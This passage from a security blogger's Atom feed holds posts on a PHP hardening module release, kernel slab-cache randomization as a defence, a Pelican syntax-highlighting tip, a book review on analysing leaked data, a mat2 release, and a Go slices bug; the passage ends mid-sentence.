type=\"html\">&lt;p&gt;&lt;a href=\"https://snuffleupagus.readthedocs.org\"&gt;&lt;img alt=\"snuffleupagus logo\" src=\"https://dustri.org/b/images/sp.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;I just published a new release of\n&lt;a href=\"https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0\"&gt;Snuffleupagus&lt;/a&gt;,\nthe hardening module for php7+ and php8+,\nversion &lt;code&gt;0.9.0&lt;/code&gt;, codename \"Babar the Elephant\",\nnamed the &lt;a href=\"https://en.wikipedia.org/wiki/Babar_the_Elephant\"&gt;eponymous character&lt;/a&gt;.\nThe main new feature is the PHP8.3 support, but there are a couple of\nquality-of-life improvements for people using Snuffleupagus with fuzzers …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;&lt;a href=\"https://snuffleupagus.readthedocs.org\"&gt;&lt;img alt=\"snuffleupagus logo\" src=\"https://dustri.org/b/images/sp.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;I just published a new release of\n&lt;a href=\"https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0\"&gt;Snuffleupagus&lt;/a&gt;,\nthe hardening module for php7+ and php8+,\nversion &lt;code&gt;0.9.0&lt;/code&gt;, codename \"Babar the Elephant\",\nnamed the &lt;a href=\"https://en.wikipedia.org/wiki/Babar_the_Elephant\"&gt;eponymous character&lt;/a&gt;.\nThe main new feature is the PHP8.3 support, but there are a couple of\nquality-of-life improvements for people using Snuffleupagus with fuzzers as\nwell.&lt;/p&gt;\n&lt;h3&gt;Changelog&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;Compatibility with PHP8.3&lt;/li&gt;\n&lt;li&gt;Add &lt;code&gt;sp.log_max_len&lt;/code&gt; to limit the maximum size of the log messages&lt;/li&gt;\n&lt;li&gt;Add an example configuration for Xenforo 2.2.12 &lt;/li&gt;\n&lt;li&gt;Url encode functions arguments when logging them&lt;/li&gt;\n&lt;li&gt;Fix a possible NULL-byte truncation when outputting parameters in the logs&lt;/li&gt;\n&lt;li&gt;Make &lt;code&gt;readonly_exec&lt;/code&gt; play nice on readonly filesystems &lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;As usual, if you want to help, we have some\n&lt;a href=\"https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22\"&gt;low hanging fruits&lt;/a&gt; ♥&lt;/p&gt;\n&lt;p&gt;See you in your PHP stack!&lt;/p&gt;</content><category term=\"php\"></category></entry><entry><title>Some notes on \"Randomized slab caches for kmalloc()\"</title><link href=\"https://dustri.org/b/some-notes-on-randomized-slab-caches-for-kmalloc.html\" rel=\"alternate\"></link><published>2023-09-11T01:45:00+02:00</published><updated>2023-09-11T01:45:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-09-11:/b/some-notes-on-randomized-slab-caches-for-kmalloc.html</id><summary type=\"html\">&lt;p&gt;Ruiqi Gong and Xiu Jianfeng got their\n&lt;a href=\"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe\"&gt;Randomized slab caches for kmalloc()&lt;/a&gt;\npatch series merged upstream, and I've had enough discussions about it to\nwarrant summarising them into a small blogpost.&lt;/p&gt;\n&lt;p&gt;The main idea is to have multiple slab caches, and pick one at random based on\nthe address of …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;Ruiqi Gong and Xiu Jianfeng got their\n&lt;a href=\"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe\"&gt;Randomized slab caches for kmalloc()&lt;/a&gt;\npatch series merged upstream, and I've had enough discussions about it to\nwarrant summarising them into a small blogpost.&lt;/p&gt;\n&lt;p&gt;The main idea is to have multiple slab caches, and pick one at random based on\nthe address of code calling &lt;code&gt;kmalloc()&lt;/code&gt; and a per-boot seed, to make heap-spraying harder.\nIt's a great idea, but comes with some shortcomings for now:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Objects being allocated via wrappers around &lt;code&gt;kmalloc()&lt;/code&gt;, like &lt;code&gt;sock_kmalloc&lt;/code&gt;,\n  &lt;code&gt;f2fs_kmalloc&lt;/code&gt;, &lt;code&gt;aligned_kmalloc&lt;/code&gt;, … will end up in the same slab cache.&lt;/li&gt;\n&lt;li&gt;The slabs needs to be pinned, otherwise an attacker could &lt;a href=\"https://en.wikipedia.org/wiki/Heap_feng_shui\"&gt;feng-shui&lt;/a&gt; their way\n  into having the whole slab free'ed, garbage-collected, and have a slab for\n  another type allocated at the same VA. &lt;a href=\"https://thejh.net/\"&gt;Jann Horn&lt;/a&gt; and &lt;a href=\"https://infosec.exchange/@nspace\"&gt;Matteo Rizzo&lt;/a&gt; have a &lt;a href=\"https://github.com/torvalds/linux/compare/master...thejh:linux:slub-virtual-upstream\"&gt;nice\n  set of patches&lt;/a&gt;,\n  discussed a bit in &lt;a href=\"https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html\"&gt;this Project Zero blogpost&lt;/a&gt;,\n  for a feature called &lt;a href=\"https://github.com/torvalds/linux/commit/f3afd3a2152353be355b90f5fd4367adbf6a955e\"&gt;&lt;code&gt;SLAB_VIRTUAL&lt;/code&gt;&lt;/a&gt;,\n  implementing precisely this.&lt;/li&gt;\n&lt;li&gt;There are 16 slabs by default, so one chance out of 16 to end up in the same\n  slab cache as the target.&lt;/li&gt;\n&lt;li&gt;There are no guard pages between caches, so inter-caches overflows are\n  possible.&lt;/li&gt;\n&lt;li&gt;As pointed by &lt;a href=\"https://twitter.com/andreyknvl/status/1700267669336080678\"&gt;andreyknvl&lt;/a&gt;\n  and &lt;a href=\"https://infosec.exchange/@minipli/111045336853055793\"&gt;minipli&lt;/a&gt;,\n  the fewer allocations hitting a given cache means less noise,\n  so it might even help with some heap feng-shui.&lt;/li&gt;\n&lt;li&gt;minipli also pointed that \"randomized caches still freely\n  mix kernel allocations with user controlled ones (&lt;code&gt;xattr&lt;/code&gt;, &lt;code&gt;keyctl&lt;/code&gt;, &lt;code&gt;msg_msg&lt;/code&gt;, …).\n  So even though merging is disabled for these caches, i.e. no direct overlap\n  with &lt;code&gt;cred_jar&lt;/code&gt; etc., other object types can still be targeted (&lt;code&gt;struct\n  pipe_buffer&lt;/code&gt;, BPF maps, its verifier state objects,…). It’s just a matter of\n  probing which allocation index the targeted object falls into.\",\n  but I considered this out of scope, since it's much more involved;\n  albeit something like Jann Horn's &lt;a href=\"https://github.com/thejh/linux/blob/slub-virtual/MITIGATION_README\"&gt;&lt;code&gt;CONFIG_KMALLOC_SPLIT_VARSIZE&lt;/code&gt;&lt;/a&gt;\n  wouldn't significantly increase complexity.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Also, while code addresses as a source of entropy has historically be a great\nway to provide &lt;a href=\"https://lwn.net/Articles/569635/\"&gt;KASLR&lt;/a&gt; bypasses, &lt;code&gt;hash_64(caller ^\nrandom_kmalloc_seed, ilog2(RANDOM_KMALLOC_CACHES_NR + 1))&lt;/code&gt; shouldn't trivially\nleak offsets.&lt;/p&gt;\n&lt;p&gt;The segregation technique is a bit like a weaker version of grsecurity's\n&lt;a href=\"https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game\"&gt;AUTOSLAB&lt;/a&gt;,\nor a weaker kernel-land version of\n&lt;a href=\"https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md\"&gt;PartitionAlloc&lt;/a&gt;,\nbut to be fair, making use-after-free exploitation harder, and significantly\nharder once pinning lands, with only ~150 lines of code and negligible\nperformance impact is amazing and should be praised. Moreover, I wouldn't be\nsurprised if this was backported in &lt;a href=\"https://google.github.io/security-research/kernelctf/rules.html\"&gt;Google's KernelCTF&lt;/a&gt;\nsoon, so we should see if my analysis is correct.&lt;/p&gt;</content><category term=\"security\"></category></entry><entry><title>Making use of pygments' filters with Pelican</title><link href=\"https://dustri.org/b/making-use-of-pygments-filters-with-pelican.html\" rel=\"alternate\"></link><published>2023-09-01T18:30:00+02:00</published><updated>2023-09-01T18:30:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-09-01:/b/making-use-of-pygments-filters-with-pelican.html</id><summary type=\"html\">&lt;p&gt;I've been using &lt;a href=\"https://github.com/getpelican/pelican\"&gt;Pelican&lt;/a&gt;\nmore or less since the beginning of this blog and I'm still\npretty happy about it. Mostly because of how &lt;a href=\"https://boringtechnology.club\"&gt;boring&lt;/a&gt;\nit is, and its complete absence of fundamental changes thorough the years.&lt;/p&gt;\n&lt;p&gt;Anyway, I was looking at how to reduce the size of the pages …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;I've been using &lt;a href=\"https://github.com/getpelican/pelican\"&gt;Pelican&lt;/a&gt;\nmore or less since the beginning of this blog and I'm still\npretty happy about it. Mostly because of how &lt;a href=\"https://boringtechnology.club\"&gt;boring&lt;/a&gt;\nit is, and its complete absence of fundamental changes thorough the years.&lt;/p&gt;\n&lt;p&gt;Anyway, I was looking at how to reduce the size of the pages of my blog\nand looked at how code is syntactically highlighted:\nPelican is using &lt;a href=\"https://pygments.org\"&gt;Pygments&lt;/a&gt; to do this,\nand looking at its documentation, the &lt;a href=\"https://pygments.org/docs/filters/#TokenMergeFilter\"&gt;TokenMergeFilter&lt;/a&gt;\nshould help a bit, by merging token of the same type together,\ninstead of highlighting them separately.&lt;/p&gt;\n&lt;p&gt;Pelican's documentation &lt;a href=\"https://docs.getpelican.com/en/stable/settings.html\"&gt;says&lt;/a&gt;\nthat options can be passed to python-markdown like this:\n&lt;code&gt;MARKDOWN = { 'extension_configs': { 'markdown.extensions.codehilite': {'css_class': 'highlight'} } }&lt;/code&gt;.&lt;/p&gt;\n&lt;p&gt;Looking at &lt;a href=\"https://python-markdown.github.io/\"&gt;python-markdown&lt;/a&gt;'s &lt;a href=\"https://python-markdown.github.io/reference/#markdown\"&gt;one&lt;/a&gt;,\none can pass various things as parameters, but it doesn't mention filters.\n&lt;a href=\"https://pygments.org/docs/filters/\"&gt;Pygments documentation on this topic&lt;/a&gt; implies\nthat the only way to add filters is to use the &lt;code&gt;add_filter&lt;/code&gt; method on a lexer.&lt;/p&gt;\n&lt;p&gt;But &lt;a href=\"https://github.com/pygments/pygments/blob/master/pygments/lexer.py\"&gt;looking at the code&lt;/a&gt;\nas suggested &lt;a href=\"https://github.com/Python-Markdown/markdown/issues/1322#issuecomment-1453911760\"&gt;here&lt;/a&gt;,\nfilters can be passed like any other options, meaning that one only needs to\nadd the following code into the &lt;code&gt;pelicanconf.py&lt;/code&gt; file to used the\n&lt;code&gt;TokenMergeFilter&lt;/code&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kn\"&gt;from&lt;/span&gt; &lt;span class=\"nn\"&gt;pelican&lt;/span&gt; &lt;span class=\"kn\"&gt;import&lt;/span&gt; &lt;span class=\"n\"&gt;TokenMergeFilter&lt;/span&gt;\n\n&lt;span class=\"n\"&gt;MARKDOWN&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"s1\"&gt;&amp;#39;extension_configs&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;:&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"s1\"&gt;&amp;#39;markdown.extensions.codehilite&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;:&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n            &lt;span class=\"s1\"&gt;&amp;#39;filters&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;:&lt;/span&gt; &lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"n\"&gt;TokenMergeFilter&lt;/span&gt;&lt;span class=\"p\"&gt;()]&lt;/span&gt;\n        &lt;span class=\"p\"&gt;}&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;&lt;span class=\"err\"&gt;`&lt;/span&gt;&lt;span class=\"o\"&gt;.&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Totally worth the effort for a marginal page size reduction!&lt;/p&gt;</content><category term=\"web\"></category></entry><entry><title>Book review: Hacks, Leaks, and Revelations</title><link href=\"https://dustri.org/b/book-review-hacks-leaks-and-revelations.html\" rel=\"alternate\"></link><published>2023-08-16T16:15:00+02:00</published><updated>2023-08-16T16:15:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-08-16:/b/book-review-hacks-leaks-and-revelations.html</id><summary type=\"html\">&lt;p&gt;&lt;a href=\"https://nostarch.com/hacks-leaks-and-revelations\"&gt;&lt;img alt=\"Hacks, Leaks, and Revelations cover\" src=\"https://dustri.org/b/images/HacksLeaksReveleations.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Last month, I got an email &lt;a href=\"https://nostarch.com/about\"&gt;from Briana Blackwell from No Starch Press&lt;/a&gt;'s marketing department,\ntelling me that &lt;a href=\"https://hacksandleaks.com/\"&gt;Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data&lt;/a&gt;\nby &lt;a href=\"https://micahflee.com/\"&gt;Micah Lee&lt;/a&gt;\nwas available in &lt;em&gt;early access&lt;/em&gt;, and that they'd be happy to send me an ebook\ncopy …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;&lt;a href=\"https://nostarch.com/hacks-leaks-and-revelations\"&gt;&lt;img alt=\"Hacks, Leaks, and Revelations cover\" src=\"https://dustri.org/b/images/HacksLeaksReveleations.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Last month, I got an email &lt;a href=\"https://nostarch.com/about\"&gt;from Briana Blackwell from No Starch Press&lt;/a&gt;'s marketing department,\ntelling me that &lt;a href=\"https://hacksandleaks.com/\"&gt;Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data&lt;/a&gt;\nby &lt;a href=\"https://micahflee.com/\"&gt;Micah Lee&lt;/a&gt;\nwas available in &lt;em&gt;early access&lt;/em&gt;, and that they'd be happy to send me an ebook\ncopy free of charge!&lt;/p&gt;\n&lt;p&gt;From the couple of interactions I had with him, Lee is not only a great human being,\nbut also technically literate. He's the director of information security\nat &lt;a href=\"https://theintercept.com/staff/micah-lee/\"&gt;The Intercept&lt;/a&gt;, and the person\nbehind &lt;a href=\"https://onionshare.org/\"&gt;OnionShare&lt;/a&gt; and &lt;a href=\"https://dangerzone.rocks/\"&gt;DangerZone&lt;/a&gt;;\nso I was thrilled to finally get my hands on his book!&lt;/p&gt;\n&lt;p&gt;And what a great one it is! It's a complete course for everyone who want to learn how to properly deal with and report on large data sets like leaks:\nHow to communicate with sources along with some notions of &lt;a href=\"https://en.wikipedia.org/wiki/Operations_security\"&gt;opsec&lt;/a&gt;,\nsome words on the ethics of dealing with this kind of data,\nhow to get data leaks and how to analyse them\nproperly and safely, wrangling tools like\n&lt;a href=\"https://github.com/freedomofpress/dangerzone\"&gt;dangerzone&lt;/a&gt;,\na &lt;a href=\"https://en.wikipedia.org/wiki/BitTorrent\"&gt;BitTorrent&lt;/a&gt; client,\n&lt;a href=\"https://signal.org\"&gt;Signal&lt;/a&gt;,\n&lt;a href=\"https://torproject.org\"&gt;Tor&lt;/a&gt; via the &lt;a href=\"https://www.torproject.org/download/\"&gt;Tor Browser&lt;/a&gt; and\n&lt;a href=\"https://onionshare.org/\"&gt;Onionshare&lt;/a&gt;,\nsome &lt;a href=\"https://en.wikipedia.org/wiki/Linux\"&gt;linux&lt;/a&gt; and &lt;a href=\"https://en.wikipedia.org/wiki/Shell_(computing)\"&gt;shell&lt;/a&gt; basics,\na crash course into data analysis with &lt;a href=\"https://python.org\"&gt;Python&lt;/a&gt; and &lt;a href=\"https://en.wikipedia.org/wiki/SQL\"&gt;SQL&lt;/a&gt;,\nthe &lt;a href=\"https://occrp.org/en\"&gt;OCCRP&lt;/a&gt;'s &lt;a href=\"https://docs.aleph.occrp.org/\"&gt;Aleph&lt;/a&gt;,\n…\nwith hands-on exercises and reporting examples based on real leaks like\n&lt;a href=\"https://en.wikipedia.org/wiki/2021_Epik_data_breach\"&gt;EpikFail&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/BlueLeaks\"&gt;BlueLeaks&lt;/a&gt;, \nthe &lt;a href=\"https://apnews.com/article/oath-keepers-leaked-membership-rolls-2ca4195ed3a10e45dd189bf98f3e5a26\"&gt;Oath Keepers leak&lt;/a&gt;,\n&lt;a href=\"https://discordleaks.unicornriot.ninja/discord/\"&gt;Unicorn Riot's DiscordLeaks&lt;/a&gt;,\n&lt;a href=\"https://theintercept.com/2021/09/28/covid-telehealth-hydroxychloroquine-ivermectin-hacked/\"&gt;AFLDS&lt;/a&gt;,\nhe &lt;a href=\"https://www.databreaches.net/heritage-foundation-wasnt-attacked-they-leaked-their-own-data/\"&gt;Heritage Foundation emails&lt;/a&gt;,\n…&lt;/p&gt;\n&lt;p&gt;It's a comprehensive yet highly digestible resource that I would wholeheartedly\nrecommend to anyone remotely interested by modern journalism practises. Hacked\nand dumped databases are all around the internet, waiting to be analysed, reported on,\ncontextualised and exposed, and with this book, anyone could help with\nthe effort of making the world a better place: sunlight is the best\ndisinfectant!&lt;/p&gt;</content><category term=\"book_reviews\"></category></entry><entry><title>mat2 0.13.4</title><link href=\"https://dustri.org/b/mat2-0134.html\" rel=\"alternate\"></link><published>2023-08-02T21:30:00+02:00</published><updated>2023-08-02T21:30:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-08-02:/b/mat2-0134.html</id><summary type=\"html\">&lt;p&gt;There is a new minor version of mat2:\n&lt;a href=\"https://0xacab.org/jvoisin/mat2/tags/0.13.4\"&gt;0.13.4&lt;/a&gt;. No ground breaking\nchanges, only minor improvements, code modernisation and a bit of hardening:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Add documentation about mat2 on OSX&lt;/li&gt;\n&lt;li&gt;Make use of python3.7 constructs to simplify code&lt;/li&gt;\n&lt;li&gt;Use moderner type annotations&lt;/li&gt;\n&lt;li&gt;Harden &lt;code&gt;get_meta&lt;/code&gt; in archive.py against …&lt;/li&gt;&lt;/ul&gt;</summary><content type=\"html\">&lt;p&gt;There is a new minor version of mat2:\n&lt;a href=\"https://0xacab.org/jvoisin/mat2/tags/0.13.4\"&gt;0.13.4&lt;/a&gt;. No ground breaking\nchanges, only minor improvements, code modernisation and a bit of hardening:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Add documentation about mat2 on OSX&lt;/li&gt;\n&lt;li&gt;Make use of python3.7 constructs to simplify code&lt;/li&gt;\n&lt;li&gt;Use moderner type annotations&lt;/li&gt;\n&lt;li&gt;Harden &lt;code&gt;get_meta&lt;/code&gt; in archive.py against variants of &lt;a href=\"https://cve.circl.lu/cve/CVE-2022-35410\"&gt;CVE-2021-35410&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Improve MSOffice document support&lt;/li&gt;\n&lt;li&gt;Package the manpage on PyPI.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Thanks to &lt;a href=\"https://anelki.net/\"&gt;akierig&lt;/a&gt;, mat2 is now &lt;a href=\"https://github.com/macports/macports-ports/pull/18072\"&gt;available&lt;/a&gt; in &lt;a href=\"https://trac.macports.org/\"&gt;macports&lt;/a&gt;!&lt;/p&gt;\n&lt;p&gt;As usual, if you know some python help is\n&lt;a href=\"https://0xacab.org/jvoisin/mat2/issues?label_name%5B%5D=good+first+issue\"&gt;welcome&lt;/a&gt;.&lt;/p&gt;</content><category term=\"metadata\"></category></entry><entry><title>A sneaky Golang bug</title><link href=\"https://dustri.org/b/a-sneaky-golang-bug.html\" rel=\"alternate\"></link><published>2023-08-02T13:15:00+02:00</published><updated>2023-08-02T13:15:00+02:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-08-02:/b/a-sneaky-golang-bug.html</id><summary type=\"html\">&lt;p&gt;Today at work, I needed a function in &lt;a href=\"https://go.dev/\"&gt;Go&lt;/a&gt; to remove\nduplicates from a slice, and thus wrote something like this using the\n&lt;a href=\"https://go.dev/doc/tutorial/generics\"&gt;generic&lt;/a&gt;-based\n&lt;a href=\"https://pkg.go.dev/golang.org/x/exp/slices\"&gt;slices&lt;/a&gt; package:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;removeDuplicates&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;mytype&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;mytype&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;slices&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;SortFunc&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;less&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;slices&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;CompactFunc&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;eq&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"k\"&gt;return&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Can you spot the bug? Here are the …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;Today at work, I needed a function in &lt;a href=\"https://go.dev/\"&gt;Go&lt;/a&gt; to remove\nduplicates from a slice, and thus wrote something like this using the\n&lt;a href=\"https://go.dev/doc/tutorial/generics\"&gt;generic&lt;/a&gt;-based\n&lt;a href=\"https://pkg.go.dev/golang.org/x/exp/slices\"&gt;slices&lt;/a&gt; package:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;removeDuplicates&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;mytype&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;mytype&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;slices&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;SortFunc&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;less&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"nx\"&gt;slices&lt;/span&gt;&lt;span class=\"p\"&gt;.&lt;/span&gt;&lt;span class=\"nx\"&gt;CompactFunc&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;eq&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"w\"&gt;    &lt;/span&gt;&lt;span class=\"k\"&gt;return&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Can you spot the bug? Here are the prototypes of the two functions:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;SortFunc&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;any&lt;/span&gt;&lt;span class=\"p\"&gt;](&lt;/span&gt;&lt;span class=\"nx\"&gt;x&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;less&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;a&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;b&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;bool&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;CompactFunc&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"nx\"&gt;S&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;~&lt;/span&gt;&lt;span class=\"p\"&gt;[]&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;any&lt;/span&gt;&lt;span class=\"p\"&gt;](&lt;/span&gt;&lt;span class=\"nx\"&gt;s&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;S&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;eq&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kd\"&gt;func&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;E&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"kt\"&gt;bool&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"nx\"&gt;S&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;The first has no return value, while the second does, unused in our case, hence\nthe bug. It's &lt;em&gt;interesting&lt;/em&gt; to note that the go compiler is perfectly happy\nwith this, and doesn't issue any 